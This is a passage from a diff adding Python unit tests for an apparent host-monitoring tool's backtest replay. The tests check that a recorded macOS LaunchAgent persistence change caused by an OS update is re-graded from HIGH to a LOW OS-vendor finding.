for the four binary sensors and replayed the +change sensors as recorded. On the reference machine that left persistence the +largest residue, and most of it a harness blind spot: 37 HIGH "program bytes +X -> Y" findings recorded while the `apple` trust tier was dead, which the +current code emits as ONE LOW `os-vendor` OS-update finding. + +A change finding is a diff, so re-observing one means rebuilding the pair it +was a diff of. The new side is the item on disk now, and it is accepted only +where it still shows what the record says it changed to; the old side is what +the record says it changed from. The grade is then asked of the sensor itself +(check_persistence / diff_agent_surface), never of a grader written beside it. +Where the record does not carry a field the grade turns on, the finding is +counted as not re-derivable and replayed as recorded — never guessed. +""" +import contextlib +import io +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +import aegis # noqa: E402 +from conftest import PUBLISHER_TRUST, SUSPICIOUS_TRUST # noqa: E402 +from test_backtest_replay import NOW, ReplaySandbox # noqa: E402 + +PLIST = "/opt/replay-persist/LaunchAgents/com.example.job.plist" +PROGRAM = "/opt/replay-persist/bin/runner" +PAYLOAD = "/opt/replay-persist/jobs/job.sh" + + +class PersistenceReplay(ReplaySandbox): + """The live machine as the replay reads it: a persistence snapshot (the + sensor's own, stubbed) and a baseline file.""" + + def live(self, snapshot, baseline=None): + self.stub("snapshot_persistence", lambda: dict(snapshot)) + aegis.save_json(aegis.BASELINE, {"learning_until": 0, + "persistence": baseline or {}}) + + def record(self, f, at=NOW - 3600): + """`f` as a recorded finding, and the noise incident it opened.""" + db = aegis._event_connection() + with db: + ev = self.event(db, f, at) + inc = self.incident( + db, "signal:" + (f.get("case_fingerprint") or f["fingerprint"]), + "FALSE_POSITIVE", "false-positive", [ev], + dismissed="false-positive") + db.close() + return inc + + def printed(self): + out = io.StringIO() + with contextlib.redirect_stdout(out): + aegis.cmd_backtest_replay(now=NOW, reobserve=True) + return out.getvalue() + + +class AnOsUpdateRecordedAsASwapIsReobservedAsOne(PersistenceReplay): + """(a) The 2026-09-15 shape: /bin/bash replaced by the OS update, graded + while the classifier could not say `apple`. macOS-only by construction — + SIP and the sealed system volume are the premise of _os_program_update.""" + + OLD, NEW = "c924c04a062d" + "0" * 52, "d59c6f2312e5" + "1" * 52 + + def setUp(self): + super().setUp() + self._flags = (aegis.IS_MAC, aegis.IS_WIN, aegis.IS_LINUX, + aegis._SIP_STATE) + aegis.IS_MAC, aegis.IS_WIN, aegis.IS_LINUX = True, False, False + aegis._SIP_STATE = True + + def tearDown(self): + (aegis.IS_MAC, aegis.IS_WIN, aegis.IS_LINUX, + aegis._SIP_STATE) = self._flags + super().tearDown() + + def job(self, trust, sha): + return {"label": "com.example.job", "program": "/bin/bash", + "sha256": sha, "trust": trust, "authority": "Software Signing", + "args": ["/bin/bash", PAYLOAD], "args_sha256": "c" * 64, + "env": None, "run_at_load": True, "script_target": PAYLOAD, + "target_sha": "d" * 64} + + def recorded(self): + f = aegis.check_persistence({PLIST: self.job("signed-other", self.OLD)}, + {PLIST: self.job("signed-other", self.NEW)}) + self.assertEqual(1, len(f)) + self.assertEqual(("Persistence item CHANGED", "HIGH", None), + (f[0]["title"], f[0]["severity"], f[0]["custody"])) + return f[0] + + def check(self, baseline): + inc = self.record(self.recorded()) + self.live({PLIST: self.job("apple", self.NEW)}, baseline) + self.assertEqual([inc], sorted(aegis._backtest_replay(now=NOW)["reopened"])) + r = aegis._backtest_replay(now=NOW, reobserve=True) + stats = r["reobserve"] + self.assertEqual(1, stats["reobserved"]) + self.assertEqual({}, stats["not_rederivable"]) + self.assertEqual(1, stats["trust_changed"]) + self.assertEqual(1, stats["severity_changed"]) + self.assertEqual(0, r["routes"]["persistence"]["interrupt"]) + self.assertEqual([], sorted(r["reopened"])) + out = self.printed() + self.assertIn("HIGH/- -> LOW/os-vendor: 1", out) + self.assertNotIn("SELF-CHECK FAILED", out) + + def test_with_the_old_side_still_in_the_baseline(self): + self.check({PLIST: self.job("signed-other", self.OLD)}) + + def test_after_the_change_was_accepted_into_the_baseline(self): + """The old signer is then unrecorded, and does not matter: the OS + update is decided before any custody rung is consulted.""" + self.check({PLIST: self.job("apple", self.NEW)}) + + +class APayloadWhoseCustodyIsNowProvenIsDemoted(PersistenceReplay): + """(b) A `